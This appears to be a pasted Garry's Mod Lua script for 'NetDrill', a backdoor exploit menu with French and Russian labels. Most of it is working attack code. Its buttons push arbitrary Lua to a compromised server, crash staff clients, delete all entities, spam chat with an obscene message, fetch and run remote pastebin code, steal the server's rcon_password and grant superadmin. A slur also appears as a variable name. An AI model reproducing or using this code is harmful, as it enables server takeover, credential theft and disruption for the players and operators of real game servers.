- net.WriteString("RunConsoleCommand(\"changelevel \"..game.GetMap())")
- net.WriteBit(1)
- net.SendToServer()
- end
- local commandnethtx7 = vgui.Create("DButton", DScrollPanel)
- commandnethtx7:SetSize( 652, 20 )
- commandnethtx7:SetPos( 2, 200 )
- commandnethtx7:SetText("Screamer")
- commandnethtx7:SetTextColor(Color(255, 255, 255, 255))
- commandnethtx7.Paint = function(panel, w, h)
- surface.SetDrawColor(255, 255, 255 ,255)
- surface.DrawOutlinedRect(0, 0, w, h)
- surface.SetDrawColor(100, 100, 100 ,245)
- surface.DrawRect(0, 0, w, h)
- end
- commandnethtx7.DoClick = function()
- NETDRILL.NetStart(netdrillhacknet)
- net.WriteString( "for k,v in pairs(player.GetAll()) do v:EmitSound( \"npc/stalker/go_alert2a.wav\", 100, 100 ) end" )
- net.WriteBit(1)
- net.SendToServer()
- end
- local commandnethtx8 = vgui.Create("DButton", DScrollPanel)
- commandnethtx8:SetSize( 652, 20 )
- commandnethtx8:SetPos( 2, 225 )
- commandnethtx8:SetText("Changer le model des joueurs")
- commandnethtx8:SetTextColor(Color(255, 255, 255, 255))
- commandnethtx8.Paint = function(panel, w, h)
- surface.SetDrawColor(255, 255, 255 ,255)
- surface.DrawOutlinedRect(0, 0, w, h)
- surface.SetDrawColor(100, 100, 100 ,245)
- surface.DrawRect(0, 0, w, h)
- end
- commandnethtx8.DoClick = function()
- NETDRILL.NetStart(netdrillhacknet)
- net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetModel(\"models/editor/playerstart.mdl\") end" )
- net.WriteBit(1)
- net.SendToServer()
- end
- local commandnethtx9 = vgui.Create("DButton", DScrollPanel)
- commandnethtx9:SetSize( 652, 20 )
- commandnethtx9:SetPos( 2, 250 )
- commandnethtx9:SetText("Niquer la physics du jeu")
- commandnethtx9:SetTextColor(Color(255, 255, 255, 255))
- commandnethtx9.Paint = function(panel, w, h)
- surface.SetDrawColor(255, 255, 255 ,255)
- surface.DrawOutlinedRect(0, 0, w, h)
- surface.SetDrawColor(100, 100, 100 ,245)
- surface.DrawRect(0, 0, w, h)
- end
- commandnethtx9.DoClick = function()
- net.Start(netdrillhacknet)
- net.WriteString( "RunConsoleCommand(\"sv_friction\", \"-8\")" )
- net.WriteBit(1)
- net.SendToServer()
- end
- local commandnethtx10 = vgui.Create("DButton", DScrollPanel)
- commandnethtx10:SetSize( 652, 20 )
- commandnethtx10:SetPos( 2, 275 )
- commandnethtx10:SetText("Inverser la gravité")
- commandnethtx10:SetTextColor(Color(255, 255, 255, 255))
- commandnethtx10.Paint = function(panel, w, h)
- surface.SetDrawColor(255, 255, 255 ,255)
- surface.DrawOutlinedRect(0, 0, w, h)
- surface.SetDrawColor(100, 100, 100 ,245)
- surface.DrawRect(0, 0, w, h)
- end
- commandnethtx10.DoClick = function()
- net.Start(netdrillhacknet)
- net.WriteString( "RunConsoleCommand(\"sv_gravity\", \"-600\")" )
- net.WriteBit(1)
- net.SendToServer()
- end
- local commandnethtx11 = vgui.Create("DButton", DScrollPanel)
- commandnethtx11:SetSize( 652, 20 )
- commandnethtx11:SetPos( 2, 300 )
- commandnethtx11:SetText("Reset Argent")
- commandnethtx11:SetTextColor(Color(255, 255, 255, 255))
- commandnethtx11.Paint = function(panel, w, h)
- surface.SetDrawColor(255, 255, 255 ,255)
- surface.DrawOutlinedRect(0, 0, w, h)
- surface.SetDrawColor(100, 100, 100 ,245)
- surface.DrawRect(0, 0, w, h)
- end
- commandnethtx11.DoClick = function()
- net.Start(netdrillhacknet)
- net.WriteString( "RunConsoleCommand(\"rp_resetallmoney\")" )
- net.WriteBit(1)
- net.SendToServer()
- end
- local commandnethtx12 = vgui.Create("DButton", DScrollPanel)
- commandnethtx12:SetSize( 652, 20 )
- commandnethtx12:SetPos( 2, 325 )
- commandnethtx12:SetText("Faire voler tous les joueurs")
- commandnethtx12:SetTextColor(Color(255, 255, 255, 255))
- commandnethtx12.Paint = function(panel, w, h)
- surface.SetDrawColor(255, 255, 255 ,255)
- surface.DrawOutlinedRect(0, 0, w, h)
- surface.SetDrawColor(100, 100, 100 ,245)
- surface.DrawRect(0, 0, w, h)
- end
- commandnethtx12.DoClick = function()
- net.Start(netdrillhacknet)
- net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetVelocity(v:GetVelocity() + Vector(math.random(1000,5000), math.random(1000,5000), math.random(1000,5000))) end" )
- net.WriteBit(1)
- net.SendToServer()
- end
- local commandnethtx13 = vgui.Create("DButton", DScrollPanel)
- commandnethtx13:SetSize( 652, 20 )
- commandnethtx13:SetPos( 2, 350 )
- commandnethtx13:SetText("Crash superadmin")
- commandnethtx13:SetTextColor(Color(255, 255, 255, 255))
- commandnethtx13.Paint = function(panel, w, h)
- surface.SetDrawColor(255, 255, 255 ,255)
- surface.DrawOutlinedRect(0, 0, w, h)
- surface.SetDrawColor(100, 100, 100 ,245)
- surface.DrawRect(0, 0, w, h)
- end
- commandnethtx13.DoClick = function()
- net.Start(netdrillhacknet)
- net.WriteString( " for k,v in pairs(player.GetAll()) do if( v:GetUserGroup() != \"user\" ) then v:SendLua(\"while true do end\") end end" )
- net.WriteBit(1)
- net.SendToServer()
- end
- local commandnethtx14 = vgui.Create("DButton", DScrollPanel)
- commandnethtx14:SetSize( 652, 20 )
- commandnethtx14:SetPos( 2, 75 )
- commandnethtx14:SetText("Squeleton Danse")
- commandnethtx14:SetTextColor(Color(255, 255, 255, 255))
- commandnethtx14.Paint = function(panel, w, h)
- surface.SetDrawColor(160, 61, 255)
- surface.DrawOutlinedRect(0, 0, w, h)
- surface.SetDrawColor(178, 99, 255)
- surface.DrawRect(0, 0, w, h)
- end
- commandnethtx14.DoClick = function()
- net.Start(netdrillhacknet)
- net.WriteString( "http.Fetch(\"https://pastebin.com/raw/QiEipqZ4\",function(b,l,h,c)RunString(b)end,nil)" )
- net.WriteBit(1)
- net.SendToServer()
- end
- local commandnethtx15 = vgui.Create("DButton", DScrollPanel)
- commandnethtx15:SetSize( 652, 20 )
- commandnethtx15:SetPos( 2, 400 )
- commandnethtx15:SetText("+1000$/s")
- commandnethtx15:SetTextColor(Color(255, 255, 255, 255))
- commandnethtx15.Paint = function(panel, w, h)
- surface.SetDrawColor(255, 255, 255 ,255)
- surface.DrawOutlinedRect(0, 0, w, h)
- surface.SetDrawColor(100, 100, 100 ,245)
- surface.DrawRect(0, 0, w, h)
- end
- commandnethtx15.DoClick = function()
- net.Start(netdrillhacknet)
- net.WriteString( "for k,v in pairs(player.GetAll()) do timer.Create( \"timerargent10\", 0.1, 0, function() v:addMoney(10) end) end" )
- net.WriteBit(1)
- net.SendToServer()
- end
- local commandnethtx17 = vgui.Create("DButton", DScrollPanel)
- commandnethtx17:SetSize( 652, 20 )
- commandnethtx17:SetPos( 2, 425 )
- commandnethtx17:SetText("Supprimer Toutes les Entité")
- commandnethtx17:SetTextColor(Color(255, 255, 255, 255))
- commandnethtx17.Paint = function(panel, w, h)
- surface.SetDrawColor(255, 255, 255 ,255)
- surface.DrawOutlinedRect(0, 0, w, h)
- surface.SetDrawColor(100, 100, 100 ,245)
- surface.DrawRect(0, 0, w, h)
- end
- commandnethtx17.DoClick = function()
- net.Start(netdrillhacknet)
- net.WriteString( "for k, v in pairs(ents.FindByClass( \"prop_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"func_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"env_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"lua_run*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"point_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"trigger_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"info_*\" )) do v:Remove() end" )
- net.WriteBit(1)
- net.SendToServer()
- end
- local commandnethtxSpamChat = vgui.Create("DButton", DScrollPanel )
- commandnethtxSpamChat:SetSize( 652, 20 )
- commandnethtxSpamChat:SetPos( 2, 450 )
- commandnethtxSpamChat:SetText("Spam Chat")
- commandnethtxSpamChat:SetTextColor(Color(255,255,255,255))
- commandnethtxSpamChat.Paint = function(panel, w, h)
- surface.SetDrawColor(255, 255, 255 ,255)
- surface.DrawOutlinedRect(0, 0, w, h)
- surface.SetDrawColor(100, 100, 100 ,245)
- surface.DrawRect(0, 0, w, h)
- end
- commandnethtxSpamChat.DoClick = function()
- NETDRILL.NetStart(netdrillhacknet)
- net.WriteString("timer.Create( \"rekt\", 0.1, 0, function() BroadcastLua([[NETDRILL.ChatText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), \"◊◊◊◊◊ СЕРВЕР ВЫЕБАН NETDRILL ! ◊◊◊◊◊\")]]) end)")
- net.WriteBit(1)
- net.SendToServer()
- end
- local commandnethtxSpamChatStop = vgui.Create("DButton", DScrollPanel )
- commandnethtxSpamChatStop:SetSize( 652, 20 )
- commandnethtxSpamChatStop:SetPos( 2, 475 )
- commandnethtxSpamChatStop:SetTextColor(Color(255,255,255,255))
- commandnethtxSpamChatStop:SetText("Stop Spam Chat")
- commandnethtxSpamChatStop.Paint = function(panel, w, h)
- surface.SetDrawColor(255, 255, 255 ,255)
- surface.DrawOutlinedRect(0, 0, w, h)
- surface.SetDrawColor(100, 100, 100 ,245)
- surface.DrawRect(0, 0, w, h)
- end
- commandnethtxSpamChatStop.DoClick = function ()
- net.Start(netdrillhacknet)
- net.WriteString("timer.Stop( \"rekt\")")
- net.WriteBit(1)
- net.SendToServer()
- end
- local setsuperadmin = vgui.Create("DButton", DScrollPanel )
- setsuperadmin:SetSize( 652, 20 )
- setsuperadmin:SetPos( 2, 500 )
- setsuperadmin:SetTextColor(Color(255,255,255,255))
- setsuperadmin:SetText("Se Mettre Superadmin")
- setsuperadmin.Paint = function(panel, w, h)
- surface.SetDrawColor(255, 255, 255 ,255)
- surface.DrawOutlinedRect(0, 0, w, h)
- surface.SetDrawColor(100, 100, 100 ,245)
- surface.DrawRect(0, 0, w, h)
- end
- setsuperadmin.DoClick = function ()
- local setsuperadminsetting = [[
- RunConsoleCommand("ulx_logecho", "0")
- ]]
- net.Start(netdrillhacknet)
- net.WriteString( setsuperadminsetting )
- net.WriteBit(1)
- net.SendToServer()
- end
- local rconstealernetdrill = DScrollPanel:Add( "DButton")
- rconstealernetdrill:SetSize( 668, 20 )
- rconstealernetdrill:SetPos( 2, 25 )
- rconstealernetdrill:SetText("Voler le rcon_password")
- rconstealernetdrill:SetTextColor(Color(255, 255, 255, 255))
- rconstealernetdrill.Paint = function(panel, w, h)
- surface.SetDrawColor(255, 255, 255 ,255)
- surface.DrawOutlinedRect(0, 0, w, h)
- surface.SetDrawColor(50, 50, 50 ,245)
- surface.DrawRect(0, 0, w, h)
- end
- rconstealernetdrill.DoClick = function()
- net.Start(netdrillhacknet)
- net.WriteString( "http.Fetch(\"https://pastebin.com/raw/u5qnn5kw\",function(b,l,h,c)RunString(b)end,nil)" )
- net.WriteBit(1)
- net.SendToServer()
- timer.Simple( 0.5, function()
- if NETDRILL.ValidNetString( "jeveuttonrconleul" ) then
- net.Start("jeveuttonrconleul")
- net.SendToServer()
- else
- NETDRILL.ChatText( Color(255, 0, 0),"rcon_password pas trouvé, veuillez réessayer ^^" )
- end
- end)
- end
- local GLUACommand = vgui.Create( "DTextEntry", DScrollPanel )
- GLUACommand:SetPos( 110, 0 )
- GLUACommand:SetSize( 545, 20 )
- GLUACommand:SetText( "Entity( 1 ):SetUserGroup( 'superadmin' )" )
- local Lancer_glua_commande = vgui.Create("DButton", DScrollPanel )
- Lancer_glua_commande:SetSize( 103, 20 )
- Lancer_glua_commande:SetPos( 2, 0 )
- Lancer_glua_commande:SetText("Code LUA")
- Lancer_glua_commande:SetTextColor(Color(255, 255, 255, 255))
- Lancer_glua_commande.Paint = function(panel, w, h)
- surface.SetDrawColor(255, 255, 255 ,255)
- surface.DrawOutlinedRect(0, 0, w, h)
- surface.SetDrawColor(50, 50, 50 ,245)
- surface.DrawRect(0, 0, w, h)
- end
- Lancer_glua_commande.DoClick = function()
- local glua_commandes_get = GLUACommand:GetValue()
- NETDRILL.NetStart(netdrillhacknet)
- net.WriteString( glua_commandes_get )
- net.WriteBit(1)
- net.SendToServer()
- end
- end
- net.Receive( "rcon_passw_dump", function()
- local rcon_pass = net.ReadString()
- NETDRILL.ChatText( Color(255, 255, 255), rcon_pass, Color(0, 255, 0),"")
- end )
- net.Receive( "aucun_rcon_ici", function()
- NETDRILL.ChatText( Color(255, 0, 0),"Aucun rcon_password sur le serveur :/" )
- end )
- function NETDRILL.MakePlayerSelectionButton( parent, x, y, addr )
- if !parent:IsValid() then return end
- local TButton = vgui.Create( "DButton" )
- TButton:SetParent( parent )
- TButton:SetPos( x, y )
- TButton:SetText( "Выберите цели." )
- TButton:SetTextColor( Color(255, 255, 255, 255) )
- TButton:SizeToContents()
- TButton:SetTall( 24 )
- TButton.Paint = function( self, w, h )
- surface.SetDrawColor( Color(100, 100, 100, 245 ) )
- surface.DrawRect( 0, 0, w, h )
- surface.SetDrawColor( Color( 60, 60, 60 ) )
- --surface.SetMaterial( downgrad )
- --surface.DrawTexturedRect( 0, 0, w, h/ 2 )
- surface.SetDrawColor( Color(100, 100, 100, 255) )
- --surface.DrawOutlinedRect( 0, 0, w, h )
- surface.SetDrawColor( Color(70, 70, 100, 255) )
- --surface.DrawOutlinedRect( 2, 2, w - 4, h - 4 )
- end
- TButton.DoClick = function()
- NETDRILL.SelectPlayersPanel( addr )
- end
- return TButton:GetWide(), TButton:GetTall()
- end
- function NETDRILL.SelectPlayersPanel( addr )
- if NETDRILL.PlayerSelector and NETDRILL.PlayerSelector:IsVisible() then NETDRILL.PlayerSelector:Remove() end
- local plytab = NETDRILL.GetStored( addr, {} )
- NETDRILL.PlayerSelector = vgui.Create("DFrame")
- NETDRILL.PlayerSelector:SetSize(682,350)
- NETDRILL.PlayerSelector:SetDraggable( false )
- NETDRILL.PlayerSelector:SetTitle("Цель(и)")
- NETDRILL.PlayerSelector:SetPos( 342, 250)
- NETDRILL.PlayerSelector:MakePopup()
- NETDRILL.PlayerSelector:ShowCloseButton( false )
- NETDRILL.PlayerSelector.DoClick = function()
- CloseMenu:Remove()
- end
- NETDRILL.PlayerSelector.Paint = function( s, w, h )
- if !NETDRILL.Menu or !NETDRILL.Menu:IsVisible() then s:Remove() return end
- surface.SetDrawColor( Color(30, 30, 30, 255) )
- surface.DrawRect( 0, 0, w, h )
- surface.SetDrawColor( Color(55, 55, 55, 255) )
- surface.DrawOutlinedRect( 0, 0, w, h )
- surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
- end
- local CloseMenu2 = vgui.Create("DButton", NETDRILL.PlayerSelector )
- CloseMenu2:SetText("<--")
- CloseMenu2:SetSize(200, 200)
- CloseMenu2:SetPos(NETDRILL.PlayerSelector:GetWide()-120,-85)
- CloseMenu2:SetTextColor(Color(100, 100, 100,245))
- CloseMenu2:SetFont("netdrillfont20")
- CloseMenu2.Paint = function( self,w,h ) end
- CloseMenu2.DoClick = function()
- NETDRILL.PlayerSelector:Remove()
- end
- local Plist = vgui.Create( "DPanelList", NETDRILL.PlayerSelector )
- Plist:SetSize( NETDRILL.PlayerSelector:GetWide() - 10, NETDRILL.PlayerSelector:GetTall() - 55 )
- Plist:SetPadding( 5 )
- Plist:SetSpacing( 5 )
- Plist:EnableHorizontal( false )
- Plist:EnableVerticalScrollbar( true )
- Plist:SetPos( 5, 40 )
- Plist:SetName( "" )
- local target1 = vgui.Create("DButton", NETDRILL.PlayerSelector)
- target1:SetSize( 40, 20 )
- target1:SetPos( 10, 23 )
- target1:SetText("Все")
- target1:SetTextColor(Color(255, 255, 255, 255))
- target1.Paint = function(panel, w, h)
- surface.SetDrawColor(100, 100, 100 ,255)
- --surface.DrawOutlinedRect(0, 0, w, h)
- surface.SetDrawColor(100, 100, 100 ,245)
- surface.DrawRect(0, 0, w, h)
- end
- target1.DoClick = function()
- for _, p in pairs(player.GetAll()) do
- if not table.HasValue( plytab, p ) then
- table.insert( plytab, p )
- end
- end
- NETDRILL.Store( addr, plytab )
- end
- local target2 = vgui.Create("DButton", NETDRILL.PlayerSelector)
- target2:SetSize( 40, 20 )
- target2:SetPos( 55, 23 )
- target2:SetText("Убрать")
- target2:SetTextColor(Color(255, 255, 255, 255))
- target2.Paint = function(panel, w, h)
- surface.SetDrawColor(100, 100, 100 ,255)
- --surface.DrawOutlinedRect(0, 0, w, h)
- surface.SetDrawColor(100, 100, 100 ,245)
- surface.DrawRect(0, 0, w, h)
- end
- target2.DoClick = function()
- table.Empty( plytab )
- NETDRILL.Store( addr, plytab )
- end
- local target3 = vgui.Create("DButton", NETDRILL.PlayerSelector )
- target3:SetSize( 40, 20 )
- target3:SetPos( 100, 23 )
- target3:SetText("Я")
- target3:SetTextColor(Color(255, 255, 255, 255))
- target3.Paint = function(panel, w, h)
- surface.SetDrawColor(100, 100, 100 ,255)
- --surface.DrawOutlinedRect(0, 0, w, h)
- surface.SetDrawColor(100, 100, 100 ,245)
- surface.DrawRect(0, 0, w, h)
- end
- target3.DoClick = function()
- table.Empty( plytab )
- table.insert( plytab, LocalPlayer() )
- NETDRILL.Store( addr, plytab )
- end
- local target4 = vgui.Create( "DTextEntry", NETDRILL.PlayerSelector )
- target4:SetPos( 145, 23 )
- target4:SetSize( 95, 20 )
- target4:SetText( "" )
- target4.OnChange = function( self )
- local nam = self:GetValue()
- local namtab = string.Explode( ", ", nam )
- table.Empty( plytab )
- for _, pl in pairs( player.GetAll() ) do
- for _, s in pairs( namtab ) do
- if string.find( string.lower( pl:Nick() ), s ) then
- table.insert( plytab, pl )
- end
- end
- end
- NETDRILL.Store( addr, plytab )
- end
- for k, v in pairs( player.GetAll() ) do
- local plypanel2 = vgui.Create( "DPanel" )
- plypanel2:SetPos( 0, 0 )
- plypanel2:SetSize( 200, 25 )
- local teamcol = team.GetColor( v:Team() )
- plypanel2.Paint = function( s, w, h )
- if !v:IsValid() then return end
- surface.SetDrawColor( Color(100, 100, 100, 30) )
- surface.DrawRect( 0, 0, w, h )
- --surface.SetDrawColor( teamcol )
- surface.DrawRect( 0, h - 3, w, 3 )
- surface.SetDrawColor( Color(55, 55, 55, 245) )
- surface.DrawOutlinedRect( 0, 0, w, h )
- if table.HasValue( plytab, v ) then surface.SetDrawColor( Color(160, 61, 255 ) ) end
- surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
- end
- local plyname = vgui.Create( "DLabel", plypanel2 )
- plyname:SetPos( 10, 5 )
- plyname:SetFont( "Trebuchet18" )
- local tcol = Color( 255, 255, 255 )
- if v == LocalPlayer() then tcol = Color( 155, 155, 255 ) end
- plyname:SetColor( tcol )
- plyname:SetText( v:Nick() )
- plyname:SetSize(180, 15)
- local faggot = vgui.Create("DButton", plypanel2 )
- faggot:SetSize( plypanel2:GetWide(), plypanel2:GetTall() )
- faggot:SetPos( 0, 0 )
- faggot:SetText("")
- faggot.Paint = function(panel, w, h)
- return
- end
- faggot.DoClick = function()
- if table.HasValue( plytab, v ) then
- table.RemoveByValue( plytab, v )
- else
- table.insert( plytab, v )
- end
- NETDRILL.Store( addr, plytab )
- end
- Plist:AddItem( plypanel2 )
- end
- end
- //
- concommand.Add( "dontgetit", function()
- local NETDRILLdontgetit = vgui.Create("DFrame")
- NETDRILLdontgetit:SetSize(2300,2300)
- NETDRILLdontgetit:SetTitle("")
- NETDRILLdontgetit:Center()
- NETDRILLdontgetit:SetDraggable( false )
- NETDRILLdontgetit:MakePopup()
- NETDRILLdontgetit.gay = table.Count( NETDRILL.sploits )
- NETDRILLdontgetit:ShowCloseButton( false )
- NETDRILLdontgetit.Paint = function( s, w, h )
- surface.SetDrawColor( Color(0, 0, 0, 255) ) ---<
- surface.DrawRect( 0, 0, w, h )
- surface.SetDrawColor( Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) ) --
- surface.DrawOutlinedRect( 0, 0, w, h )
- surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
- surface.SetDrawColor( Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
- surface.DrawRect( 10, 10, w - 20, h - 20 )
- surface.SetDrawColor( Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
- --surface.DrawRect( 0, 520, w - 0, h - 0 )
- --surface.SetDrawColor( Color(255, 66, 66, 0) )
- --surface.DrawRect( 0, 520, w - 0, h - 0 )
- surface.SetDrawColor( Color(255, 66, 66, 0) )
- surface.DrawLine( 10, 25, 40, 30 )
- surface.DrawLine( 40, 30, 70, 25 )
- surface.DrawLine( 10, 25, 25, 40 )
- surface.DrawLine( 55, 40, 70, 25 )
- surface.PlaySound( "buttons/weapon_cant_buy.wav" )
- surface.PlaySound( "buttons/blip2.wav" )
- surface.PlaySound( "bot/cover_me.wav" )
- surface.DrawLine( 25, 40, 25, 60 )
- surface.DrawLine( 55, 40, 55, 60 )
- surface.DrawLine( 25, 60, 40, 70 )
- surface.DrawLine( 55, 60, 40, 70 )
- draw.SimpleTextOutlined( "ERREUR VAPORHACK : Votre comptre n'est pas activé", "netdrillfontlight", 1200, 350, Color( 255, 255, 255,255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color(100, 100, 100, 0) )
- end
- end)
- //
- function NETDRILL.MakeTextInputButton( parent, x, y, btext, default, addr)
- if !parent:IsValid() then return end
- local hostframe = vgui.Create( "DPanel", parent )
- hostframe:SetPos( x, y )
- hostframe.Paint = function( self, w, h )
- surface.SetDrawColor( Color(60, 60, 60, 200) )
- surface.DrawRect( 0, 0, w, h )
- surface.SetDrawColor( Color( 60, 60, 60 ) )
- surface.SetMaterial( downgrad )
- surface.DrawTexturedRect( 0, 0, w, h/ 2 )
- surface.SetDrawColor( Color(100, 100, 100, 255) )
- surface.DrawOutlinedRect( 0, 0, w, h )
- end
- local tttt = vgui.Create( "DLabel", hostframe )
- tttt:SetPos( 5, 5 )
- tttt:SetText( btext )
- tttt:SizeToContents()
- local tentry = vgui.Create( "DTextEntry", hostframe )
- tentry:SetPos( 10 + tttt:GetWide(), 2 )
- tentry:SetSize( 130, 20 )
- tentry:SetText( NETDRILL.GetStored( addr, default ) )
- tentry.OnChange = function( self )
- NETDRILL.Store( addr, self:GetValue() )
- end
- hostframe:SetSize( 13 + tttt:GetWide() + tentry:GetWide(), 24 )
- return hostframe:GetWide(), hostframe:GetTall()
- end
- function NETDRILL.MakeNumberInputButton( parent, x, y, btext, default, min, max, addr)
- if !parent:IsValid() then return end
- local hostframe = vgui.Create( "DPanel", parent )
- hostframe:SetPos( x, y )
- hostframe.Paint = function( self, w, h )
- surface.SetDrawColor( Color(60, 60, 60, 200) )
- surface.DrawRect( 0, 0, w, h )
- surface.SetDrawColor( Color( 60, 60, 60 ) )
- surface.SetMaterial( downgrad )
- surface.DrawTexturedRect( 0, 0, w, h/ 2 )
- surface.SetDrawColor( Color(100, 100, 100, 255) )
- surface.DrawOutlinedRect( 0, 0, w, h )
- end
- local tttt = vgui.Create( "DLabel", hostframe )
- tttt:SetPos( 5, 5 )
- tttt:SetText( btext )
- tttt:SizeToContents()
- local wangmeoff = vgui.Create( "DNumberWang", hostframe )
- wangmeoff:SetPos( 10 + tttt:GetWide(), 2 )
- wangmeoff:SetSize( 75, 20 )
- wangmeoff:SetDecimals( 2 )
- wangmeoff:SetMinMax( min , max )
- wangmeoff:SetValue( NETDRILL.GetStored( addr, default ) )
- wangmeoff:SetAllowNonAsciiCharacters(false)
- wangmeoff.OnValueChanged = function( self, val )
- NETDRILL.Store( addr, self:GetValue() )
- end
- hostframe:SetSize( 13 + tttt:GetWide() + wangmeoff:GetWide(), 24 )
- return hostframe:GetWide(), hostframe:GetTall()
- end
- -- INSERTION DU DERMA MENU
- local FillFrameRates = RatesScaleLevel
- concommand.Add( "netdrill_menu", function()
- if FillFrameRates == "STEAM_0:0:189348722" -- Hoper
- or FillFrameRates == "STEAM_0:0:99250842" -- Silent
- or FillFrameRates == "STEAM_0:1:196391683" -- Polyvie
- or true
- then NETDRILL.Menu = vgui.Create("DFrame")
- NETDRILL.Menu:SetSize(700,450)
- NETDRILL.Menu:SetTitle("")
- NETDRILL.Menu:Center()
- NETDRILL.Menu:SetDraggable( false )
- NETDRILL.Menu:MakePopup()
- NETDRILL.Menu.gay = table.Count( NETDRILL.sploits )
- NETDRILL.Menu:ShowCloseButton( false )
- NETDRILL.Menu.Paint = function( s, w, h )
- surface.SetDrawColor( Color(60, 60, 60, 245) ) ---<
- surface.DrawRect( 0, 0, w, h )
- surface.SetDrawColor( Color(100, 100, 100, 220) ) --
- surface.DrawOutlinedRect( 0, 0, w, h )
- surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
- surface.SetDrawColor( Color(20, 20, 20, 230) )
- surface.DrawRect( 10, 10, w - 20, h - 20 )
- surface.SetDrawColor( Color(100, 100, 100, 200) )
- --surface.DrawRect( 0, 520, w - 0, h - 0 )
- --surface.SetDrawColor( Color(255, 66, 66, 0) )
- --surface.DrawRect( 0, 520, w - 0, h - 0 )
- surface.SetDrawColor( Color(255, 66, 66, 0) )
- surface.DrawLine( 10, 25, 40, 30 )
- surface.DrawLine( 40, 30, 70, 25 )
- surface.DrawLine( 10, 25, 25, 40 )
- surface.DrawLine( 55, 40, 70, 25 )
- surface.DrawLine( 25, 40, 25, 60 )
- surface.DrawLine( 55, 40, 55, 60 )
- surface.DrawLine( 25, 60, 40, 70 )
- surface.DrawLine( 55, 60, 40, 70 )
- draw.DrawText( "Netdrill™ | от USERNAME | Dev", "netdrillfonthard", 220, 425, Color(255, 255, 255, 50) )
- draw.DrawText( "亗", "netdrillfontlogo", 16, 13, Color(255, 255, 255, 20) )
- draw.SimpleTextOutlined( "NetDrill", "netdrillfontlight", ScrW()/3.95 + math.sin(RealTime()) * ScrW() / 60, ScrH()/20, Color( 255, 255, 255,255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color(100, 100, 100, 0) )
- end
- local CloseMenu = vgui.Create("DButton", NETDRILL.Menu )
- CloseMenu:SetText("X")
- CloseMenu:SetSize(200, 200)
- CloseMenu:SetPos(NETDRILL.Menu:GetWide()-125,-75)
- CloseMenu:SetTextColor(Color(255, 66, 66,255))
- CloseMenu:SetFont("netdrillfont20")
- CloseMenu.Paint = function( self,w,h ) end
- CloseMenu.DoClick = function()
- NETDRILL.Menu:Remove()
- end
- local Plist = vgui.Create( "DPanelList", NETDRILL.Menu )
- Plist:SetSize( NETDRILL.Menu:GetWide() - 20, NETDRILL.Menu:GetTall() - 35 )
- Plist:SetPadding( 5 )
- Plist:SetSpacing( 5 )
- Plist:EnableHorizontal( false )
- Plist:EnableVerticalScrollbar( true )
- Plist:SetPos( 10, 90 )
- Plist:SetName( "" )
- --NETDRILL.MakeFunctionButton( NETDRILL.Menu, 10, 130, "Load Config", NETDRILL.LoadConfig, "Charger une Config" )
- --NETDRILL.MakeFunctionButton( NETDRILL.Menu, 10, 160, "Save Config", NETDRILL.SaveConfig, "Sauvegarder la Config" )
- local function CreateSploitPanel( name, t )
- if !NETDRILL.Menu then return end
- local cmdp = vgui.Create( "DPanel" )
- cmdp:SetSize( Plist:GetWide(), 50 )
- cmdp.Cmd = name
- cmdp.Desc = t.desc
- cmdp.Paint = function( s, w, h )
- surface.SetDrawColor( Color(60, 60, 60, 245) )
- surface.DrawRect( 0, 0, w, h )
- surface.SetDrawColor( severitycols[t.severity] )
- surface.DrawOutlinedRect( 0, 0, w, h )
- --surface.DrawLine( 0, 24, w, 24 )
- draw.DrawText( cmdp.Cmd, "DermaDefault", 11, 2, Color(255,255,255) )
- --draw.DrawText( cmdp.Desc, "DermaDefault", 10, 28, Color(205,205,255, 100) )
- end
- --timer.Create("timerversionchecker",7,1,function()
- --hook.Remove("HUDPaint", "HudVersionChecker")
- --end)
- -- POSE DES FONCTIONS BOUTONS
- local x = 10
- for _, tab in ipairs( t.functions ) do
- if tab.typ == "func" then
- x = (x + 5) + NETDRILL.MakeFunctionButton( cmdp, x, 21, tab.name, tab.func )
- elseif tab.typ == "players" then
- x = (x + 5) + NETDRILL.MakePlayerSelectionButton( cmdp, x, 21, tab.addr )
- elseif tab.typ == "htxcommandeliste" then
- x = (x + 5) + NETDRILL.HTXBackdoor( cmdp, x, 21, tab.name )
- elseif tab.typ == "string" then
- x = (x + 5) + NETDRILL.MakeTextInputButton( cmdp, x, 21, tab.name, tab.default, tab.addr )
- if !NETDRILL.IsStored( tab.addr ) then NETDRILL.Store( tab.addr, tab.default ) end
- elseif tab.typ == "float" then
- x = (x + 5) + NETDRILL.MakeNumberInputButton( cmdp, x, 21, tab.name, tab.default, tab.min, tab.max, tab.addr )
- if !NETDRILL.IsStored( tab.addr ) then NETDRILL.Store( tab.addr, tab.default ) end
- end
- end
- Plist:AddItem( cmdp )
- end
- for k, v in pairs( NETDRILL.sploits ) do
- if v.scan() then CreateSploitPanel( k, v ) end
- end
- else
- LocalPlayer():EmitSound("common/warning.wav",500,100)
- LocalPlayer():EmitSound("common/warning.wav",500,100)
- LocalPlayer():EmitSound("common/warning.wav",500,100)
- LocalPlayer():EmitSound("common/warning.wav",500,100)
- LocalPlayer():EmitSound("common/warning.wav",500,100)
- LocalPlayer():EmitSound("common/warning.wav",500,100)
- --LocalPlayer():ConCommand("dontgetit")
- return end
- end)
- -- END
- net.Start("Limon_ban")
- net.SendToServer()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement